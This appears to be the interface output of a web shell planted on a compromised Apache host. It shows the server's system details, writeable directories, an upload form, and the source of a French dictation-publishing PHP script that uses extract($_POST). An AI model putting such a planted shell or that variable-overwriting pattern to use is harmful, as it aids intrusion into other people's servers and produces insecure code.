Samx Here
n1udSecurity


Server : Apache
System : Linux ks5.tuic.fr 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
User : pragmatice ( 1003)
PHP Version : 8.2.24
Disable Function : NONE
Directory :  /home/pragmatice/public_html/test/orthodefi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/pragmatice/public_html/test/orthodefi/publier_dictee.php
<?php
session_start();
require('../commun/filters/filtre_abonne.php');
require("includes/constantes.php");
require("../pragmacompte/config/database.php");
require("../commun/includes/fonctions_communes.php");

$id_membre_connecte = $_SESSION['user']['id'];

// on traite le formulaire d'ajout de la dictée s'il a été soumis
if (isset($_POST['bt_publier_cette_dictee'])) {
    if (not_empty(['titre_p', 'auteur_p', 'categorie_p', 'texte_dictee_a_publier'])) {
        $errors = [];
        extract($_POST);// pour avoir accès à $_POST['titre_p'] avec $titre_p etc...

        // on lit le tableau des erreurs (affichées grâce à <?php include("partials/_errors.php"); dans les views)
        if (count($errors) == 0) {
            // on ajoute la dictée dans la BDD
            set_flash("Félicitations ! La dictée a été publiée.","success");
            $q = $db->prepare('INSERT INTO '.TABLE_ODEFI.'(id_membre, titre, auteur, categorie, contenu, module) 
                            VALUES(:id_membre, :titre, :auteur, :categorie, :contenu, :module)');
            $q->execute([
                'id_membre' => $id_membre_connecte,
                'titre' => eb($titre_p),//$titre_p au lieu de $_POST['titre_p'] parce qu'on a extract
                'auteur' => eb($auteur_p),
                'categorie' => eb($categorie_p),
                'contenu' => eb($texte_dictee_a_publier),
                'module' => 'fdd'
            ]);
            redirect("dictee.php?m=".$id_membre_connecte);
        }

    } else {
        $errors[] = "Merci de renseigner les champs titre et auteur.";
    }
}

/*
// on récupère les infos des dictées pour le membre sélectionné
$q = $db->prepare("SELECT * FROM ".TABLE_ODEFI." WHERE id_membre = :id AND actif = 1 AND module = :module ORDER BY titre ASC");
$q->execute([
    'id' => $id_membre_connecte,
    'module' => 'fdd'
]);
$dictees = $q->fetchAll(PDO::FETCH_OBJ);
$q->closeCursor();
*/
require("views/publier_dictee.view.php");

?>



SAMX